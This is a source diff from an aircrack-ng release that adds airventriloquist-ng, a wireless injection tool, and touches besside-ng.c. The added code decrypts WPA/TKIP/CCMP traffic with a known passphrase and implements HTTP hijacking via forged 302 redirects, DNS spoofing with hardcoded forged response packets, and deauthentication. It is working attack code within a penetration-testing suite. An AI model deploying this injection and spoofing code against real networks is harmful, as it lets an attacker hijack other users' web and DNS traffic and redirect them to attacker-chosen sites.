+	// check if we haven't already processed this packet
+	// If we have, just return, don't process packet twice
+	u_int32_t crc = calc_crc_buf(packet, length);
+
+	// IF TODS
+	if (wfrm_is_tods(wfrm))
+	{
+		if (crc == opt.st_cur->t_crc)
+		{
+			return TRUE;
+		}
+		opt.st_cur->t_crc = crc;
+	}
+	// IF FROMDS
+	else if (wfrm_is_fromds(wfrm))
+	{
+		if (crc == opt.st_cur->f_crc)
+		{
+			return TRUE;
+		}
+		opt.st_cur->f_crc = crc;
+	}
+	// this frame hasn't been processed yet
+	return FALSE;
+}
+
+static struct llc_frame * find_llc_frm_ptr(u_int8_t * packet, int length)
+{
+	if (is_length_lt_wfrm(length)) return NULL;
+
+	int size_80211hdr = sizeof(struct ieee80211_frame);
+	if (is_wfrm_qos((struct ieee80211_frame *) packet))
+	{
+		size_80211hdr = sizeof(struct ieee80211_qosframe);
+	}
+
+	struct llc_frame * p_llc = (struct llc_frame *) (packet + size_80211hdr);
+	return p_llc;
+}
+
+static void process_wireless_data_packet(u_int8_t * packet, int length)
+{
+	u_int8_t * packet_start = packet;
+	int packet_start_length = length;
+
+	struct ieee80211_frame * wfrm = (struct ieee80211_frame *) packet;
+
+	if (is_adhoc_frame(packet))
+	{
+		return;
+	}
+	// u_int8_t *p_stmac = packet_get_sta_80211(packet);
+
+	// TEMP DEBUG CAESURUS
+	// if(p_stmac[5] != 0x07) return;
+
+	// process station,
+	// if it exists, opt.st_cur will point to it
+	// if it doesn't exist, it will create an entry
+	//    with opt.st_cur pointing to it
+	process_station_data(packet, length);
+
+	if (is_wfrm_already_processed(packet, length))
+	{
+		return;
+	}
+
+	struct llc_frame * p_llc = find_llc_frm_ptr(packet, length);
+	if (NULL == p_llc)
+	{
+		return;
+	}
+
+	// Check to see if this is an encrypted frame
+	if (0xAA != p_llc->i_dsap && 0xAA != p_llc->i_ssap)
+	{
+		// OK so it's not valid LLC, lets check WEP
+		struct wep_frame * p_wep = (struct wep_frame *) packet;
+
+		// check the extended IV flag
+		// I copied from airdecap-ng, not actually sure about WEP and don't care
+		// at this point
+		if ((wfrm->i_fc[1] & IEEE80211_FC1_WEP) && (0 != (p_wep->keyid & 0x20)))
+		{
+			// Unsupported ;)
+			printf("unsupported encryption\n");
+			return;
+		}
+		else
+		{
+			if (opt.crypt != CRYPT_WPA)
+			{
+				return;
+			}
+			// Apparently this is a WPA packet
+			// Don't bother with this if we don't have a valid ptk for this
+			// station
+			if ((NULL == opt.st_cur) || (!opt.st_cur->valid_ptk))
+			{
+				return;
+			}
+			else
+			{
+				// if the PTK is valid, try to decrypt
+				if (opt.st_cur->keyver == 1)
+				{
+					if (decrypt_tkip(packet_start,
+									 packet_start_length,
+									 opt.st_cur->ptk + 32)
+						== 0)
+					{
+						printf("TKIP decryption on this packet failed :( \n");
+						return;
+					}
+					// length -= 20;
+					// packet_start_length -= 20;
+				}
+				else
+				{
+					if (decrypt_ccmp(packet_start,
+									 packet_start_length,
+									 opt.st_cur->ptk + 32)
+						== 0)
+					{
+						printf("CCMP decryption on this packet failed :( \n");
+						hexDump("failed to decrypt",
+								packet_start,
+								packet_start_length);
+						// printf("\n");
+						return;
+					}
+					// length -= 16;
+					// packet_start_length -= 16;
+				}
+
+				process_unencrypted_data_packet(
+					packet_start, packet_start_length, 0);
+				return;
+			}
+		}
+	}
+	else if (0xAA == p_llc->i_dsap && 0xAA == p_llc->i_ssap)
+	{
+		process_unencrypted_data_packet(packet_start, packet_start_length, 0);
+	}
+	return;
+}
+
+static void process_wireless_packet(u_int8_t * packet, int length)
+{
+	struct ieee80211_frame * wfrm = (struct ieee80211_frame *) packet;
+	short fc = *wfrm->i_fc;
+
+	if ((IEEE80211_FC0_TYPE_DATA & fc))
+	{
+		process_wireless_data_packet(packet, length);
+	}
+	return;
+}
+
+static int do_active_injection(void)
+{
+	struct timeval tv;
+	fd_set rfds;
+	int caplen, ret;
+	int atime = 200;
+	memset(tmpbuf, 0, 4096);
+
+	printf("opt.port_out = %d, opt.s_face = %s\n", opt.port_out, opt.s_face);
+	if (opt.port_out > 0)
+	{
+		atime += 200;
+		PCT;
+		printf("Testing connection to injection device %s\n", opt.iface_out);
+		ret = tcp_test(opt.ip_out, opt.port_out);
+		if (ret != 0)
+		{
+			return (1);
+		}
+		printf("\n");
+
+		/* open the replay interface */
+		_wi_out = wi_open(opt.iface_out);
+		if (!_wi_out) return 1;
+		printf("\n");
+		dev.fd_out = wi_fd(_wi_out);
+		wi_get_mac(_wi_out, dev.mac_out);
+		if (opt.s_face == NULL)
+		{
+			_wi_in = _wi_out;
+			dev.fd_in = dev.fd_out;
+
+			/* XXX */
+			dev.arptype_in = dev.arptype_out;
+			wi_get_mac(_wi_in, dev.mac_in);
+		}
+	}
+
+	if (opt.s_face && opt.port_in > 0)
+	{
+		atime += 200;
+		PCT;
+		printf("Testing connection to capture device %s\n", opt.s_face);
+		ret = tcp_test(opt.ip_in, opt.port_in);
+		if (ret != 0)
+		{
+			return (1);
+		}
+		printf("\n");
+
+		/* open the packet source */
+		_wi_in = wi_open(opt.s_face);
+		if (!_wi_in) return 1;
+		dev.fd_in = wi_fd(_wi_in);
+		wi_get_mac(_wi_in, dev.mac_in);
+		printf("\n");
+	}
+	else if (opt.s_face && opt.port_in <= 0)
+	{
+		/* open the replay interface */
+		_wi_out = wi_open(opt.iface_out);
+		if (!_wi_out) return 1;
+		printf("\n");
+		dev.fd_out = wi_fd(_wi_out);
+		wi_get_mac(_wi_out, dev.mac_out);
+
+		_wi_in = wi_open(opt.s_face);
+		if (!_wi_in) return 1;
+		dev.fd_in = wi_fd(_wi_in);
+		wi_get_mac(_wi_in, dev.mac_in);
+		printf("s_face, port_in\n");
+	}
+
+	if (opt.port_in <= 0)
+	{
+		/* avoid blocking on reading the socket */
+		if (fcntl(dev.fd_in, F_SETFL, O_NONBLOCK) < 0)
+		{
+			perror("fcntl(O_NONBLOCK) failed");
+			return (1);
+		}
+	}
+
+	if (getnet(NULL, 0, 0) != 0) return 1;
+
+	srand(time(NULL));
+	// Set our bitrate to the loudest/most likely to reach the station/AP...
+	set_bitrate(_wi_out, RATE_1M);
+
+	// main Loop
+	while (1)
+	{
+		FD_ZERO(&rfds);
+		FD_SET(dev.fd_in, &rfds);
+
+		tv.tv_sec = 0;
+		tv.tv_usec = 1000; // one millisecond
+
+		if (select(dev.fd_in + 1, &rfds, NULL, NULL, &tv) < 0)
+		{
+			if (errno == EINTR) continue;
+			perror("select failed");
+			return (1);
+		}
+		if (!FD_ISSET(dev.fd_in, &rfds)) continue;
+
+		memset(h80211, 0, sizeof(h80211));
+		caplen = read_packet(h80211, sizeof(h80211), NULL);
+
+		// Ignore small frames...
+		if (caplen <= 30) continue;
+
+		// Check for 802.11 data frame, first byte is FC
+		if ((IEEE80211_FC0_TYPE_DATA & h80211[0]))
+		{
+			process_wireless_packet(h80211, caplen);
+		}
+	}
+}
+
+int main(int argc, char * argv[])
+{
+	int option = 0;
+	int option_index = 0;
+
+	memset(&dev, 0, sizeof(dev));
+	memset(&opt, 0, sizeof(struct options));
+
+	opt.f_type = -1;
+	opt.f_subtype = -1;
+	opt.f_minlen = -1;
+	opt.f_maxlen = -1;
+	opt.f_tods = -1;
+	opt.f_fromds = -1;
+	opt.f_iswep = -1;
+
+	opt.a_mode = -1;
+	opt.deauth = 0;
+	opt.delay = 15;
+	opt.r_smac_set = 0;
+	opt.npackets = 1;
+	opt.rtc = 1;
+	opt.f_retry = 0;
+	opt.reassoc = 0;
+	opt.s_face = NULL;
+	opt.iface_out = NULL;
+	opt.p_hijack_str = NULL;
+	opt.flag_verbose = 0;
+	opt.flag_icmp_resp = 0;
+	opt.flag_http_hijack = 0;
+	opt.flag_dnsspoof = 0;
+
+	char * p_redir_url = NULL;
+
+	progname = getVersion(
+		"Airventriloquist-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC);
+
+	while (1)
+	{
+
+		option_index = 0;
+		static struct option long_options[] = {{"redirect", 1, 0, 'r'},
+											   {"interface", 1, 0, 'i'},
+											   {"hijack", 1, 0, 's'},
+											   {"passphrase", 1, 0, 'p'},
+											   {"essid", 1, 0, 'e'},
+											   {"deauth", 0, 0, 'd'},
+											   {"icmp", 0, 0, 'c'},
+											   {"dns", 1, 0, 'n'},
+											   {"verbose", 0, 0, 'v'},
+											   {"help", 0, 0, 'h'},
+											   {0, 0, 0, 0}};
+
+		option = getopt_long(
+			argc, argv, "i:n:r:s:p:e:dcv", long_options, &option_index);
+
+		if (option < 0) break;
+
+		switch (option)
+		{
+			case 0:
+				break;
+
+			case 'i':
+				printf("Selected Interface is %s\n", optarg);
+				opt.s_face = opt.iface_out = optarg;
+				opt.port_in
+					= get_ip_port(opt.s_face, opt.ip_in, sizeof(opt.ip_in) - 1);
+				opt.port_out = get_ip_port(
+					opt.iface_out, opt.ip_out, sizeof(opt.ip_out) - 1);
+				break;
+
+			case 'v':
+				printf("Verbose enabled\n");
+				opt.flag_verbose = 1;
+				break;
+
+			case 'd':
+				printf("Deauthing enabled\n");
+				opt.deauth = 1;
+				break;
+
+			case 'c':
+				printf("Debugging by responding to ICMP enabled\n");
+				opt.flag_icmp_resp = 1;
+				break;
+
+			case 'r':
+				printf("Redirect: %s\n", optarg);
+				p_redir_url = optarg;
+				break;
+
+			case 'n':
+				printf("DNS IP: %s\n", optarg);
+				int retval = inet_pton(AF_INET, optarg, &opt.p_dnsspoof_ip);
+				if (1 != retval)
+				{
+					printf("Error occurred converting IP, please specify a "
+						   "valid IP, because apparently %s is not\n",
+						   optarg);
+					free(progname);
+					return EXIT_FAILURE;
+				}
+				opt.flag_dnsspoof = 1;
+				break;
+
+			case 's':
+				printf("Hijack search term: %s\n", optarg);
+				opt.p_hijack_str = optarg;
+				opt.flag_http_hijack = 1;
+				break;
+
+			case 'e':
+				if (opt.essid[0])
+				{
+					printf("ESSID already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					free(progname);
+					return EXIT_FAILURE;
+				}
+
+				memset(opt.essid, 0, sizeof(opt.essid));
+				strncpy(opt.essid, optarg, sizeof(opt.essid) - 1);
+				break;
+
+			case 'p':
+				if (opt.crypt != CRYPT_NONE)
+				{
+					printf("Encryption key already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					free(progname);
+					return EXIT_FAILURE;
+				}
+
+				opt.crypt = CRYPT_WPA;
+
+				memset(opt.passphrase, 0, sizeof(opt.passphrase));
+				strncpy(opt.passphrase, optarg, sizeof(opt.passphrase) - 1);
+				break;
+
+			case 'h':
+				printf(usage, progname);
+				free(progname);
+				return EXIT_SUCCESS;
+
+			default:
+			// intentional fall through
+			case ':':
+				printf("\"%s --help\" for help.\n", argv[0]);
+		}
+	}
+
+	if (opt.crypt == CRYPT_WPA)
+	{
+		if (opt.passphrase[0] != '\0')
+		{
+			/* compute the Pairwise Master Key */
+
+			if (opt.essid[0] == '\0')
+			{
+				printf("You must also specify the ESSID (-e). This is the "
+					   "broadcast SSID name\n");
+				printf("\"%s --help\" for help.\n", argv[0]);
+				return (1);
+			}
+
+			calc_pmk(opt.passphrase, opt.essid, opt.pmk);
+		}
+	}
+
+	if (1 == opt.flag_http_hijack)
+	{
+
+		if (NULL != opt.p_hijack_str)
+		{
+			printf("hijack string = %s\n", opt.p_hijack_str);
+		}
+		else
+		{
+			printf("ERROR: No proper hijack string defined\n");
+		}
+
+		if (NULL != p_redir_url)
+		{
+			opt.p_redir_url = p_redir_url;
+
+			printf("We have a redirect specified\n");
+			char * p_url = strstr(packet302_redirect, REDIRECT_PLACEHOLDER);
+
+			int total_len = strlen(packet302_redirect)
+							- strlen(REDIRECT_PLACEHOLDER)
+							+ strlen(p_redir_url);
+
+			// Allocate memory if we're modifying this
+			opt.p_redir_pkt_str = malloc(total_len);
+			if (opt.p_redir_pkt_str != NULL)
+			{
+				char * p_curr = opt.p_redir_pkt_str;
+				int len_first = p_url - packet302_redirect;
+				// Copy the first part of the packet up to the URL in the header
+				memcpy(p_curr, packet302_redirect, len_first);
+
+				// Next copy the specified redirection URL from user input
+				p_curr = opt.p_redir_pkt_str + len_first;
+				memcpy(p_curr, p_redir_url, strlen(p_redir_url));
+
+				// Copy the remainder of the packet...
+				p_curr += strlen(p_redir_url);
+				memcpy(p_curr,
+					   p_url + strlen(REDIRECT_PLACEHOLDER),
+					   total_len - len_first - strlen(p_redir_url));
+			}
+			else
+			{
+				printf("ERROR: wasn't able to allocate the memory needed to do "
+					   "redirect... \n");
+				exit(1);
+			}
+		}
+		else
+		{
+			printf("WARNING: \n\tHijack term specified but no redirect "
+				   "specified\n");
+			printf("\tUsing the default redirect specified\n");
+			// Using default redirect in the hardcoded header....
+			opt.p_redir_pkt_str = packet302_redirect;
+		}
+	}
+
+	if (opt.s_face == NULL)
+	{
+		printf(usage, progname);
+		free(progname);
+		printf(COL_RED "Error, a interface must be specified\n\n" COL_REST);
+		return EXIT_FAILURE;
+	}
+
+	/* drop privileges */
+	if (setuid(getuid()) == -1)
+	{
+		perror("setuid");
+	}
+
+	/* XXX */
+	if (opt.r_nbpps == 0)
+	{
+		if (dev.is_wlanng || dev.is_hostap)
+			opt.r_nbpps = 200;
+		else
+			opt.r_nbpps = 500;
+	}
+
+	/*
+	   random source so we can identify our packets
+	*/
+	opt.r_smac[0] = 0x00;
+	opt.r_smac[1] = rand() & 0xFF;
+	opt.r_smac[2] = rand() & 0xFF;
+	opt.r_smac[3] = rand() & 0xFF;
+	opt.r_smac[4] = rand() & 0xFF;
+	opt.r_smac[5] = rand() & 0xFF;
+
+	opt.r_smac_set = 1;
+
+	// if there is no -h given, use default hardware mac
+
+	if (maccmp(opt.r_smac, NULL_MAC) == 0)
+	{
+		memcpy(opt.r_smac, dev.mac_out, 6);
+		if (opt.a_mode != 0 && opt.a_mode != 4 && opt.a_mode != 9)
+		{
+			printf("No source MAC (-h) specified. Using the device MAC "
+				   "(%02X:%02X:%02X:%02X:%02X:%02X)\n",
+				   dev.mac_out[0],
+				   dev.mac_out[1],
+				   dev.mac_out[2],
+				   dev.mac_out[3],
+				   dev.mac_out[4],
+				   dev.mac_out[5]);
+		}
+		printf("Using device MAC (%02X:%02X:%02X:%02X:%02X:%02X)\n",
+			   dev.mac_out[0],
+			   dev.mac_out[1],
+			   dev.mac_out[2],
+			   dev.mac_out[3],
+			   dev.mac_out[4],
+			   dev.mac_out[5]);
+	}
+
+	if (maccmp(opt.r_smac, dev.mac_out) != 0
+		&& maccmp(opt.r_smac, NULL_MAC) != 0)
+	{
+		fprintf(stderr,
+				"The interface MAC (%02X:%02X:%02X:%02X:%02X:%02X)"
+				" doesn't match the specified MAC (-h).\n"
+				"\tifconfig %s hw ether %02X:%02X:%02X:%02X:%02X:%02X\n",
+				dev.mac_out[0],
+				dev.mac_out[1],
+				dev.mac_out[2],
+				dev.mac_out[3],
+				dev.mac_out[4],
+				dev.mac_out[5],
+				opt.iface_out,
+				opt.r_smac[0],
+				opt.r_smac[1],
+				opt.r_smac[2],
+				opt.r_smac[3],
+				opt.r_smac[4],
+				opt.r_smac[5]);
+	}
+
+	return (do_active_injection());
+
+	// return 1;
+}

aircrack-ng-1.4.tar.gz/src/airventriloquist-ng.h Added

@@ -0,0 +1,324 @@
+#include <stdint.h>
+
+static const uint32_t crc32_ccitt_table[256]
+	= {0x00000000, 0x77073096, 0xee0e612c, 0x990951ba, 0x076dc419, 0x706af48f,
+	   0xe963a535, 0x9e6495a3, 0x0edb8832, 0x79dcb8a4, 0xe0d5e91e, 0x97d2d988,
+	   0x09b64c2b, 0x7eb17cbd, 0xe7b82d07, 0x90bf1d91, 0x1db71064, 0x6ab020f2,
+	   0xf3b97148, 0x84be41de, 0x1adad47d, 0x6ddde4eb, 0xf4d4b551, 0x83d385c7,
+	   0x136c9856, 0x646ba8c0, 0xfd62f97a, 0x8a65c9ec, 0x14015c4f, 0x63066cd9,
+	   0xfa0f3d63, 0x8d080df5, 0x3b6e20c8, 0x4c69105e, 0xd56041e4, 0xa2677172,
+	   0x3c03e4d1, 0x4b04d447, 0xd20d85fd, 0xa50ab56b, 0x35b5a8fa, 0x42b2986c,
+	   0xdbbbc9d6, 0xacbcf940, 0x32d86ce3, 0x45df5c75, 0xdcd60dcf, 0xabd13d59,
+	   0x26d930ac, 0x51de003a, 0xc8d75180, 0xbfd06116, 0x21b4f4b5, 0x56b3c423,
+	   0xcfba9599, 0xb8bda50f, 0x2802b89e, 0x5f058808, 0xc60cd9b2, 0xb10be924,
+	   0x2f6f7c87, 0x58684c11, 0xc1611dab, 0xb6662d3d, 0x76dc4190, 0x01db7106,
+	   0x98d220bc, 0xefd5102a, 0x71b18589, 0x06b6b51f, 0x9fbfe4a5, 0xe8b8d433,
+	   0x7807c9a2, 0x0f00f934, 0x9609a88e, 0xe10e9818, 0x7f6a0dbb, 0x086d3d2d,
+	   0x91646c97, 0xe6635c01, 0x6b6b51f4, 0x1c6c6162, 0x856530d8, 0xf262004e,
+	   0x6c0695ed, 0x1b01a57b, 0x8208f4c1, 0xf50fc457, 0x65b0d9c6, 0x12b7e950,
+	   0x8bbeb8ea, 0xfcb9887c, 0x62dd1ddf, 0x15da2d49, 0x8cd37cf3, 0xfbd44c65,
+	   0x4db26158, 0x3ab551ce, 0xa3bc0074, 0xd4bb30e2, 0x4adfa541, 0x3dd895d7,
+	   0xa4d1c46d, 0xd3d6f4fb, 0x4369e96a, 0x346ed9fc, 0xad678846, 0xda60b8d0,
+	   0x44042d73, 0x33031de5, 0xaa0a4c5f, 0xdd0d7cc9, 0x5005713c, 0x270241aa,
+	   0xbe0b1010, 0xc90c2086, 0x5768b525, 0x206f85b3, 0xb966d409, 0xce61e49f,
+	   0x5edef90e, 0x29d9c998, 0xb0d09822, 0xc7d7a8b4, 0x59b33d17, 0x2eb40d81,
+	   0xb7bd5c3b, 0xc0ba6cad, 0xedb88320, 0x9abfb3b6, 0x03b6e20c, 0x74b1d29a,
+	   0xead54739, 0x9dd277af, 0x04db2615, 0x73dc1683, 0xe3630b12, 0x94643b84,
+	   0x0d6d6a3e, 0x7a6a5aa8, 0xe40ecf0b, 0x9309ff9d, 0x0a00ae27, 0x7d079eb1,
+	   0xf00f9344, 0x8708a3d2, 0x1e01f268, 0x6906c2fe, 0xf762575d, 0x806567cb,
+	   0x196c3671, 0x6e6b06e7, 0xfed41b76, 0x89d32be0, 0x10da7a5a, 0x67dd4acc,
+	   0xf9b9df6f, 0x8ebeeff9, 0x17b7be43, 0x60b08ed5, 0xd6d6a3e8, 0xa1d1937e,
+	   0x38d8c2c4, 0x4fdff252, 0xd1bb67f1, 0xa6bc5767, 0x3fb506dd, 0x48b2364b,
+	   0xd80d2bda, 0xaf0a1b4c, 0x36034af6, 0x41047a60, 0xdf60efc3, 0xa867df55,
+	   0x316e8eef, 0x4669be79, 0xcb61b38c, 0xbc66831a, 0x256fd2a0, 0x5268e236,
+	   0xcc0c7795, 0xbb0b4703, 0x220216b9, 0x5505262f, 0xc5ba3bbe, 0xb2bd0b28,
+	   0x2bb45a92, 0x5cb36a04, 0xc2d7ffa7, 0xb5d0cf31, 0x2cd99e8b, 0x5bdeae1d,
+	   0x9b64c2b0, 0xec63f226, 0x756aa39c, 0x026d930a, 0x9c0906a9, 0xeb0e363f,
+	   0x72076785, 0x05005713, 0x95bf4a82, 0xe2b87a14, 0x7bb12bae, 0x0cb61b38,
+	   0x92d28e9b, 0xe5d5be0d, 0x7cdcefb7, 0x0bdbdf21, 0x86d3d2d4, 0xf1d4e242,
+	   0x68ddb3f8, 0x1fda836e, 0x81be16cd, 0xf6b9265b, 0x6fb077e1, 0x18b74777,
+	   0x88085ae6, 0xff0f6a70, 0x66063bca, 0x11010b5c, 0x8f659eff, 0xf862ae69,
+	   0x616bffd3, 0x166ccf45, 0xa00ae278, 0xd70dd2ee, 0x4e048354, 0x3903b3c2,
+	   0xa7672661, 0xd06016f7, 0x4969474d, 0x3e6e77db, 0xaed16a4a, 0xd9d65adc,
+	   0x40df0b66, 0x37d83bf0, 0xa9bcae53, 0xdebb9ec5, 0x47b2cf7f, 0x30b5ffe9,
+	   0xbdbdf21c, 0xcabac28a, 0x53b39330, 0x24b4a3a6, 0xbad03605, 0xcdd70693,
+	   0x54de5729, 0x23d967bf, 0xb3667a2e, 0xc4614ab8, 0x5d681b02, 0x2a6f2b94,
+	   0xb40bbe37, 0xc30c8ea1, 0x5a05df1b, 0x2d02ef8d};
+
+struct net_hdr
+{
+	uint8_t nh_type;
+	uint32_t nh_len;
+	uint8_t nh_data[0];
+} __packed;
+
+struct llc_frame
+{
+	u_int8_t i_dsap;
+	u_int8_t i_ssap;
+	u_int8_t i_ctrl;
+	u_int8_t i_org[3];
+	u_int16_t i_ethtype;
+} __attribute__((packed));
+
+struct wep_frame
+{
+	u_int8_t iv1;
+	u_int8_t iv2;
+	u_int8_t iv3;
+	u_int8_t keyid;
+} __attribute__((packed));
+
+struct ip_frame
+{
+	u_int8_t ver;
+	u_int8_t tos;
+	u_int16_t tot_len;
+	u_int16_t id;
+	u_int16_t frag_off;
+	u_int8_t ttl;
+	u_int8_t protocol;
+	u_int16_t check;
+	u_int32_t saddr;
+	u_int32_t daddr;
+} __attribute__((packed));
+
+struct udp_hdr
+{
+	u_int16_t sport;
+	u_int16_t dport;
+	u_int16_t len;
+	u_int16_t checksum;
+} __attribute__((packed));
+
+struct tcp_hdr
+{
+	u_int16_t sport;
+	u_int16_t dport;
+	u_int32_t seqnu;
+	u_int32_t ack_seq;
+	// u_int16_t len_flags;
+	u_int16_t res1 : 4, doff : 4, fin : 1, syn : 1, rst : 1, psh : 1, ack : 1,
+		urg : 1, ece : 1, cwr : 1;
+	u_int16_t window;
+	u_int16_t checksum;
+	u_int16_t urg_ptr;
+} __attribute__((packed));
+
+/*
+ * Internal of an ICMP Router Advertisement
+ */
+struct icmp_ra_addr
+{
+	u_int32_t ira_addr;
+	u_int32_t ira_preference;
+};
+
+struct icmp
+{
+	u_int8_t icmp_type; /* type of message, see below */
+	u_int8_t icmp_code; /* type sub code */
+	u_int16_t icmp_cksum; /* ones complement checksum of struct */
+	union {
+		u_char ih_pptr; /* ICMP_PARAMPROB */
+		struct in_addr ih_gwaddr; /* gateway address */
+		struct ih_idseq /* echo datagram */
+		{
+			u_int16_t icd_id;
+			u_int16_t icd_seq;
+		} ih_idseq;
+		u_int32_t ih_void;
+
+		/* ICMP_UNREACH_NEEDFRAG -- Path MTU Discovery (RFC1191) */
+		struct ih_pmtu
+		{
+			u_int16_t ipm_void;
+			u_int16_t ipm_nextmtu;
+		} ih_pmtu;
+
+		struct ih_rtradv
+		{
+			u_int8_t irt_num_addrs;
+			u_int8_t irt_wpa;
+			u_int16_t irt_lifetime;
+		} ih_rtradv;
+	} icmp_hun;
+
+#define icmp_pptr icmp_hun.ih_pptr
+#define icmp_gwaddr icmp_hun.ih_gwaddr
+#define icmp_id icmp_hun.ih_idseq.icd_id
+#define icmp_seq icmp_hun.ih_idseq.icd_seq
+#define icmp_void icmp_hun.ih_void
+#define icmp_pmvoid icmp_hun.ih_pmtu.ipm_void
+#define icmp_nextmtu icmp_hun.ih_pmtu.ipm_nextmtu
+#define icmp_num_addrs icmp_hun.ih_rtradv.irt_num_addrs
+#define icmp_wpa icmp_hun.ih_rtradv.irt_wpa
+#define icmp_lifetime icmp_hun.ih_rtradv.irt_lifetime
+	union {
+		struct
+		{
+			u_int32_t its_otime;
+			u_int32_t its_rtime;
+			u_int32_t its_ttime;
+		} id_ts;
+		struct
+		{
+			struct ip_frame idi_ip;
+			/* options and then 64 bits of data */
+		} id_ip;
+		struct icmp_ra_addr id_radv;
+		u_int32_t id_mask;
+		u_int8_t id_data[1];
+	} icmp_dun;
+#define icmp_otime icmp_dun.id_ts.its_otime
+#define icmp_rtime icmp_dun.id_ts.its_rtime
+#define icmp_ttime icmp_dun.id_ts.its_ttime
+#define icmp_ip icmp_dun.id_ip.idi_ip
+#define icmp_radv icmp_dun.id_radv
+#define icmp_mask icmp_dun.id_mask
+#define icmp_data icmp_dun.id_data
+};
+
+struct dns_query
+{
+	u_int16_t tid;
+	u_int16_t flags;
+	u_int16_t questions;
+	u_int16_t rrs; // answer RRs
+	u_int16_t arrs; // authority RRs
+	u_int16_t xrrs; // additional RRs
+	u_int8_t qdata;
+};
+
+struct dot1x_hdr
+{
+	u_int8_t code;
+	u_int8_t idtype;
+	u_int16_t length;
+};
+
+#define DOT1X_CODE_REQ 0x1
+#define DOT1X_CODE_RES 0x2
+#define DOT1X_CODE_SEC 0x3
+#define DOT1X_CODE_FAIL 0x4
+
+#define DOT1X_ID_EAP_PACKET 0x0
+#define DOT1X_ID_EAP_START 0x1
+#define DOT1X_ID_EAP_LOGOFF 0x2
+#define DOT1X_ID_EAP_KEY 0x3
+
+struct radius_hdr
+{
+	u_int8_t code;
+	u_int8_t key_mic : 1, key_secure : 1, key_error : 1, key_request : 1,
+		key_enc : 1, resv : 3;
+	u_int8_t key_ver : 3, key_type : 1, key_index : 2, key_install : 1,
+		key_ack : 1;
+	u_int16_t length;
+	u_int8_t replaycnt[8];
+	u_int8_t wpa_nonce[32];
+	u_int8_t wpa_key_iv[16];
+	u_int8_t wpa_key_rsc[8];
+	u_int8_t wpa_key_id[8];
+	u_int8_t wpa_key_mic[16];
+	u_int16_t wpa_key_len;
+	u_int8_t wpa_key_datap; // data starts here
+} __attribute__((packed));
+
+#define ETHTYPE_IP 0x08
+#define ETHTYPE_8021x 0x8E88
+#define PROTO_ICMP 0x01
+#define PROTO_TCP 0x06
+#define PROTO_UDP 0x11
+
+#define CRYPT_NONE 0
+#define CRYPT_WEP 1
+#define CRYPT_WPA 2
+
+#ifndef TRUE
+#define TRUE 1
+#endif
+#ifndef FALSE
+#define FALSE 0
+#endif
+
+#define PRINTMAC(b)                                                            \
+	printf("%2.2X:%2.2X:%2.2X:%2.2X:%2.2X:%2.2X\n",                            \
+		   b[0],                                                               \
+		   b[1],                                                               \
+		   b[2],                                                               \
+		   b[3],                                                               \
+		   b[4],                                                               \
+		   b[5]);
+
+#define DNS_RESP_PCKT                                                          \
+	"\x6d\x95\x81\x80"                                                         \
+	"\x00\x01"                                                                 \
+	"\x00\x01"                                                                 \
+	"\x00\x00"                                                                 \
+	"\x00\x00"                                                                 \
+	"\x03\x77\x77\x77"                                                         \
+	"\x04\x61\x73\x64\x66"                                                     \
+	"\x03\x63\x6f\x6d\x00"                                                     \
+	"\x00\x01"                                                                 \
+	"\x00\x01"                                                                 \
+	"\xc0\x0c"                                                                 \
+	"\x00\x01"                                                                 \
+	"\x00\x01"                                                                 \
+	"\x00\x00\x14\xb4"                                                         \
+	"\x00\x04"                                                                 \
+	"\x45\xa3\xf0\xc0"
+
+#define DNS_RESP_PCKT_1                                                        \
+	"\x6d\x95\x81\x80"                                                         \
+	"\x00\x01"                                                                 \
+	"\x00\x01"                                                                 \
+	"\x00\x00"                                                                 \
+	"\x00\x00"
+
+#define DNS_RESP_PCKT_2                                                        \
+	"\x00\x01"                                                                 \
+	"\x00\x01"                                                                 \
+	"\xc0\x0c"                                                                 \
+	"\x00\x01"                                                                 \
+	"\x00\x01"                                                                 \
+	"\x00\x00\x14\xb4"                                                         \
+	"\x00\x04"                                                                 \
+	"\xC0\xA8\x01\x66"
+
+#define COL_RED "\e[31m"
+#define COL_RED_BOLD "\e[1;31m"
+#define COL_GREEN "\e[32m"
+#define COL_BLUE "\e[34m"
+#define COL_PURPLE "\e[35m"
+#define COL_GRAY "\e[36m"
+#define COL_GRAY_LIGHT "\e[37m"
+#define COL_REST "\e[m"
+
+#define COL_4WAYHS COL_GRAY
+#define COL_4WAYKEY COL_PURPLE
+#define COL_4WAYKEYDATA COL_GREEN
+#define COL_NEWSTA COL_GREEN
+#define COL_NEWSTADATA COL_GRAY
+#define COL_HTTPINJECT COL_RED
+#define COL_HTTPINJECTDATA COL_RED_BOLD
+
+#define REDIRECT_PLACEHOLDER "https://www.google.com/?gws_rd=ssl"
+
+char * packet302_redirect = "HTTP/1.1 302 Found\r\n\
+Location: https://www.google.com/?gws_rd=ssl\r\n\
+Cache-Control: private\r\n\
+Content-Type: text/html; charset=UTF-8\r\n\
+Date: Sun, 30 Nov 2014 03:25:47 GMT\r\n\
+Server: gws\r\n\
+Content-Length: 231\r\n\
+X-XSS-Protection: 1; mode=block\r\n\
+X-Frame-Options: SAMEORIGIN\r\n\
+Alternate-Protocol: 80:quic,p=0.02\r\n\
+\r\n\
+<HTML><HEAD><meta http-equiv=\"content-type\" content=\"text/html;charset=utf-8\">\n\
+<TITLE>302 Moved</TITLE></HEAD><BODY>\n\
+<H1>302 Moved</H1>\n\
+The document has moved\n\
+<A HREF=\"https://www.google.com/?gws_rd=ssl\">here</A>.\r\n\
+</BODY></HTML>\r\n";

aircrack-ng-1.2-rc4.tar.gz/src/besside-ng-crawler.c -> aircrack-ng-1.4.tar.gz/src/besside-ng-crawler.c Changed

aircrack-ng-1.2-rc4.tar.gz/src/besside-ng.c -> aircrack-ng-1.4.tar.gz/src/besside-ng.c Changed

@@ -13,7 +13,7 @@
  *
  *  You should have received a copy of the GNU General Public License
  *  along with this program; if not, write to the Free Software
- *  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
+ *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
  *
  *
  *  In addition, as a special exception, the copyright holders give
@@ -51,6 +51,7 @@
 #include <errno.h>
 #include <netdb.h>
 #include <unistd.h>
+#include <limits.h>
 
 #ifdef HAVE_PCRE
 #include <pcre.h>
@@ -59,43 +60,43 @@
 #include "aircrack-ng.h"
 #include "version.h"
 #include "aircrack-ptw-lib.h"
-#include "osdep/osdep.h"
